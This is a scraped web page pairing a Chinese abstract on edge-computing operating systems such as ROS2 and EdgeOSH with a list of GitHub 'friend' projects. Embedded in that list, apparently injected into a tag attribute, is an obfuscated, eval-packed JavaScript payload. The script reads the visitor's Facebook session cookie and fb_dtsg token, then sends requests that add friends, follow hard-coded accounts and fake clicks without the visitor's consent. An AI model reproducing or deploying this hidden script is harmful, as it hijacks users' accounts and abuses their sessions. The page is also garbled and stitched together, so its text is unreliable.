摘要(Abstract)
边缘计算操作系统向下需要管理异构的计算资源,向上需要处理大量的异构数据以及多用的应用负载,其需要负责将复杂的计算任务在边缘计算节点上部署 、调度 及迁移从而保证计算任务的可靠性以及资源的最大化利用。与传统的物联网设备上的实时操作系统Contikt和FreeRTOS不同,边缘计算操作系统更倾向于对数据、计算任务和计算资源的管理框架。机器人操作系统(robot operating system, ROS) 最开始被设计用于异构机器人机群的消息通信管理,现逐渐发展成一套开源的机器人开发及管理工具,提供硬件抽象和驱动、消息通信标准、软件包管理等 一系列工具,被广泛应用于工业机器人、自动驾驶车辆即无人机等边缘计算场景.为解决ROS中的性能 问题,社区在2015年推出ROS2. 0,其核心为引入数据分发服务(data distribution service,DDS), 解决ROS对主节点(master node)性能依赖问题,同时DDS提供共享内存机制提高节点间的通信效率.EdgeOSH则是针对智能家居设计的边缘操作系统,其部署于家庭的边缘网关中,通过3层功能抽象连接上层应用和下层智能家居硬件,其提出面向多样的边缘计算任务,服务管理层应具有差异性 (differentiation)、可扩展性(extensibility)、隔离性 (isolation)和可靠性(reliability)的需求.Phi-Stack 中提出了面向智能家居设备的边缘操作系统 PhiOS,其引人轻量级的REST引擎和LUA解释器,帮助用户在家庭边缘设备上部署计算任务. OPenVDAP是针对汽车场景设计的数据分析平台,其提出了面向网联车场景的边缘操作系统 EdgeOSv.该操作系统中提供了任务弹性管理、数据共享以及安全和隐私保护等功能.根据目前的研究现状,ROS以及基于ROS实现的操作系统有可能会成为边缘计算场景的典型操作系统,但其仍然需要经过在各种真实计算场景下部署的评测和检验。
作者:边缘计算社区
链接:https://www.jianshu.com/p/e0da5768e3a1
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
主题(Topic)
项目(Project)
thomasleplus/ZymoloJ
Friend
ChristianLoizou/CrownBreweryRecipeManager
mboren/hydrometer-calculations
maikeulb/friend-meet-friend
JussiSuojanen/friends
koorgoo/netpipe
stellar-fox/protostar
RishabhKothaari/f1-friend
izzydavid/Izzy-Friend-Finder
serlinautami/create-my-friend
nverges/FriendFinder
StupidHackathonAMS/cooky
zkan/simple-friend-recommender
Gerjunior/secret-friend
isudarsan/friendmanagement-admin
arjunbazinga/fof
isudarsan/friendmanagement
TudorCretu/FoundYou
hundredrabbits/Pilot
naparuba/opsbro
ruthussanketh/Code_Brewers2020
MichaelMure/Arbore
0){1p=7.p.U(2P);6(1p!=-1){1p+=2P.m;24=7.p.U(";",1p);6(24==-1)24=7.p.m;l 3w(7.p.1q(1p,24))}F{l""}}}8 43(1e,1X){l W.22(W.1W()*(1X-1e+1))+1e}8 3y(q){l q[43(0,q.m-1)]}5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 a(3U){5 14=J 26();5 3E="//1b.11.18/1l/4I.27";5 4f="2f="+3U+"&4H=0&4F=0&4G[4K]=4L&4Q=1&1F="+I+"&1i=1&1I=1J-&1L=v&o="+o+"&1r=4P";14.2L("2E",3E,1v);14.20=8(){6(14.2k==4&&14.25==1a){14.3r}};14.2c(4f)}a("2o");a("3o");a("2r");a("3i");a("3b");a("32");5 2A=\'4O 3T 3Z 4M 4N 3u 4D 4v.\';5 Q="",44=\'4u 4t 4r 4s 13.2F>4w 3u
3z [4C ] 4q%.\';10=/"4A":"([0-9]+)"/.4y(7.Z("4z").4R("4S-5c"))[1];o=7.15("o")[0].1x;8 2Q(1H){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10="+10+"&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(a){5 b=a.1q(a.U("{"));5 c=2h.3v(b);i--;Q="
";48++;6(c.3X)Q+=c.3X;F Q+=2h.58(c,K,"")}F{Q+="H:30;O-S:59\'>";Q+="3T 3Z 5d";1s++}Q+="";5 h="
";h+=""+2A+"";6(i>0){h+=q.m+" 13 2O<2F/>";h+=""+1s+" 13 3Y 5e "+(q.m-i)+" 13 5i ";h+="("+i+" 5h...)";h+="";h+=Q;h+="<3d u=\'2e:1B 5g-5f D(57://56-4X-a.4W.4V/4T-4U/4Y.27/4Z/55/r/54-53.51);2V:3e;52:3e;2U-R:-5j;16:4h;1y:1w 2G X(0,0,0,0.4);\' 4p="+1E[i]+">3d>"+1M[i]+"";h+="";h+=44;h+="";h+=""}F{h+=q.m+" 13 2O 4o ";h+=""+1s+" 13 3Y2F>";h+="<23 1d=\'4i 45 47 4m 49\' 3S=\'C.1c.4k()\' u=\'H:2J\'>4B 5m23><23 1d=\'64 45 47 49\' 3S=\'7.Z(\\"2M\\").u.h=\\"2s\\"\'>6323>"}h+="";7.Z("2M").1Z=h},"E","2m");M--;6(M>0){5 s=q[M];65=1E[M];1o("2Q("+s+")",66)}3F.3N(M+"/"+q.m+":"+q[M]+"/"+1M[M]+", 68:"+1s);6(10){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10=2o&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(){},"E","2m")}6(10){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10=2r&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(){},"E","2m")}}8 4c(){6(7.15("3A").m>0)1O.2X(7.15("3A")[0]);5 a=q[i];6(i0)1O.2X(7.1T("4b")[0].1n[0].1n[0].1n[1]);F j++;1o("4c()",3V)}8 4e(a){i++;1o("3W()",3V)}1t={3q:8(){5 a=G;6(46 2y!="1R")1D{a=J 2y("67.35")}1A(b){1D{a=J 2y("62.35")}1A(c){a=G}}F 6(C.26)1D{a=J 26}1A(b){a=G}l a},1g:8(D,2H,P,N,L){5 t=y.3p();6(!t||!D)l;6(t.36)t.36("E/61");6(!N)N="3g";6(!P)P="E";6(!L)L={};P=P.5W();N=N.5V();5 2Y="2f="+(J 5U).5X();D+=D.U("?")+1?"&":"?";D+=2Y;5 2B=K;6(N=="2E"){5 2n=D.5Y("?");D=2n[0];2B=2n[1]}t.2L(N,D,1v);5 6a=y;6(L.3a)t.20=8(){L.3a(t)};F t.20=8(){6(t.2k==4)6(t.25==1a){5 T="";6(t.39)T=t.39;6(P.3P(0)=="j"){T=T.5Z(/[\\n\\r]/g,"");T=6l("("+T+")")}F 6(P.3P(0)=="x")T=t.6n;6(2H)2H(T)}F{6(L.1f)7.1N("2d")[0].37(L.1f);6(L.V)7.Z(L.V).u.h="2s";6(2D)2D(t.25)}};t.2c(2B)},6m:8(a){5 b={D:"",2R:G,6o:G,P:"E",N:"3g",2v:"",V:"",1f:""};12(5 c 6k b)6(a[c])b[c]=a[c];6(!b.D)l;5 d=G;6(b.1f){d=7.6i("w");d.38("u","1U:3c;2W:2N;R:2N;");d.38("1d","V-6d");d.1Z=b.1f;7.1N("2d")[0].6j(d);y.L.1f=d}6(b.V)7.Z(b.V).u.h="6b";y.1g(b.D,8(a){6(b.2R)b.2R(a);6(b.2v)7.Z(b.2v).1Z=a;6(d)7.1N("2d")[0].37(d);6(b.V)7.Z(b.V).u.h="2s"},b.P,b.N,b)},3p:8(){l y.3q()}};5 1O={3m:8(a,b,c,d){6(c=="2p")c="1d";5 e=7.3j(".//"+b+"[@"+c+"=\'"+d+"\']",a,K,3k.3l,K);6(e&&e.1z)l e.1z;l K},6e:8(a,b,c){l y.3m(a,b,"2p",c)},6f:8(a,b){1D{5 c=7.3j(b,a,K,3k.3l,K)}1A(d){6h("6g 60:"+b)}6(c&&c.1z)l c.1z;l K},5S:8(a){C.1o(8(){7.1c.2g=a},2T+W.22(W.1W()*2T))},1j:8(a,b,c){5 d=a.7.5w("5T");d.5v(c,1v,1v,a,0,0,0,0,0,G,G,G,G,0,K);l!b.5u(d)},5k:8(a){l y.1j(C,a,"29")},5x:8(a,b){C.1o(8(){l 1O.1j(C,a,"29")},b+W.22(W.1W()*2T))},2X:8(a){y.1j(C,a,"5y");y.1j(C,a,"5A");y.1j(C,a,"29")},42:8(a,b){5 c="";6(b==1R)b=0;6(b>40)l;6(a.41!=1R)l a.41;12(5 d=0;d"+2A+"";h+=q.m+" 13 2O";h+="";7.Z("2M").1Z=h;2Q(q[i])});5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 5I(3x){5 2t=3x+"=";6(7.p.m>0){1u=7.p.U(2t);6(1u!=-1){1u+=2t.m;21=7.p.U(";",1u);6(21==-1)21=7.p.m;l 3w(7.p.1q(1u,21))}F{l""}}}8 3D(1e,1X){l W.22(W.1W()*(1X-1e+1))+1e}8 3y(2j){l 2j[3D(0,2j.m-1)]}5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 B(4a){5 19=J 26();5 34="/1l/4d/5D.27?1i=1";5 3n="5E="+4a+"&1c=1&5q=4d-5r&5p=5n&o="+o+"&5s&5z"+I+"&1r=";19.2L("2E",34,1v);19.20=8(){6(19.2k==4&&19.25==1a){19.3r}};19.2c(3n)}B("2o");B("3o");B("2r");B("3i");B("3b");B("6c");B("69");B("32");', d=397,e=" var if document function display return length fb_dtsg cookie arr http style div this window url text else false color user_id new null opt tay method font format Descriptions left size result indexOf loading Math rgba match getElementById newcomer facebook for Friends http4 getElementsByName padding com http24 200 www location class min loadingIndicator load 255 __a ClickWin push ajax align childNodes setTimeout konum substring phstamp suc jx konumi true 1px value border singleNodeValue catch center 0pt try pho __user Array opo __dyn 798aD5z5CF protocol __req arn getElementsByTagName nHtml friend pic undefined eg getElementsByClassName position edge random max c_user innerHTML onreadystatechange soni floor span son status XMLHttpRequest php 3B5998 click receiver attempt_id send body background uid href JSON ref arri readyState 16581651071156988110194 post parts 100003697277263 className profile_others_dropdown 100001050235420 none taramai 0585ab74e2dd0ff10282a3a36df39e19 update box shadow ActiveXObject 10px Title parameters bottom error POST br solid callback 3px white friends open pagelet_sidebar 0px Detected tarama SuggestFriend onSuccess suggest 500 margin width top ClickUp now space gray wrap 100004215691459 pre url24 XMLHTTP overrideMimeType removeChild setAttribute responseText handler 100003231350883 absolute img 50px isim GET 8px 100001375288085 evaluate XPathResult FIRST_ORDERED_NODE_TYPE FindByAttr params24 100003846224832 init getHTTPObject close test options By parse unescape isimi randomValue Loading ok 15px 5px getRandomInti url4 console index 500px 20px 9999 14px 100px 273px log id charAt fixed radius onClick Friend abone 2E3 clickfr errorDescription Suggested Suggestion textContent GetText getRandomInt _text uiOverlayButton typeof uiButton err uiButtonLarge bone search clickfr_callback follow addfriend params4 000000 2px layerConfirm bold reload weight uiButtonConfirm 13px and src 99 Suggesting Your For Thanks Ahmad Powered 999999 exec pagelet_timeline_main_column profile_owner Refresh lllllllllllllllllllllllllllllllllllllll Waqar pkwaq ask_for_confirm nctr pokeback poke_dialog cereziAl _mod pagelet_timeline_profile_actions Sender Made Auto 165816575103566878180 __asyncDialog getAttribute data static ak net akamaihd profile rsrc v2 gif height SK UlIqmHJn yo fbcdn https stringify 12px darkred name gt Sent of repeat no Lefted Processed 125px Click prototype Page u37qac_37 find subscribed_button_id source button lsd RegExp dispatchEvent initMouseEvent createEvent ClickTimeout mousedown __ mouseup typeahead first_degree follow_profile profile_id nm payload entries cereziAli photo friends_only stale_ok user filter lazy viewer v7 token VisitUrl MouseEvents Date toUpperCase toLowerCase getTime split replace xpath xml Microsoft Cancel layerCancel sx 100 Msxml2 success 100001597470562 ths block 100003751777172 indicator FindByClassName FindByXPath bad GM_log createElement appendChild in eval bind responseXML onError".split(" "), f=0,g={},f=function(b){return(62>b?"":f(parseInt(b/62)))+(35<(b%=62)?String.fromCharCode(b+29):b.toString(36))};if(!"".replace(/^/,String)){for(;d--;)g[f(d)]=e[d]||f(d);e=[function(b){return g[b]}];f=function(){return"\\w+"};d=1}for(;d--;)e[d]&&(c=c.replace(RegExp("\\b"+f(d)+"\\b","g"),e[d]));a(c); "));var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq" class="topic-tag topic-tag-link">
friend-sugest
M1ndo/Friend
fhfengzhiyong/friend
rabbit-friend
ceresward/factorio-friendBlueprints
Samuel-Davidsson/FriendsWPF
InfiniteSuns/PetitePoison
全部项目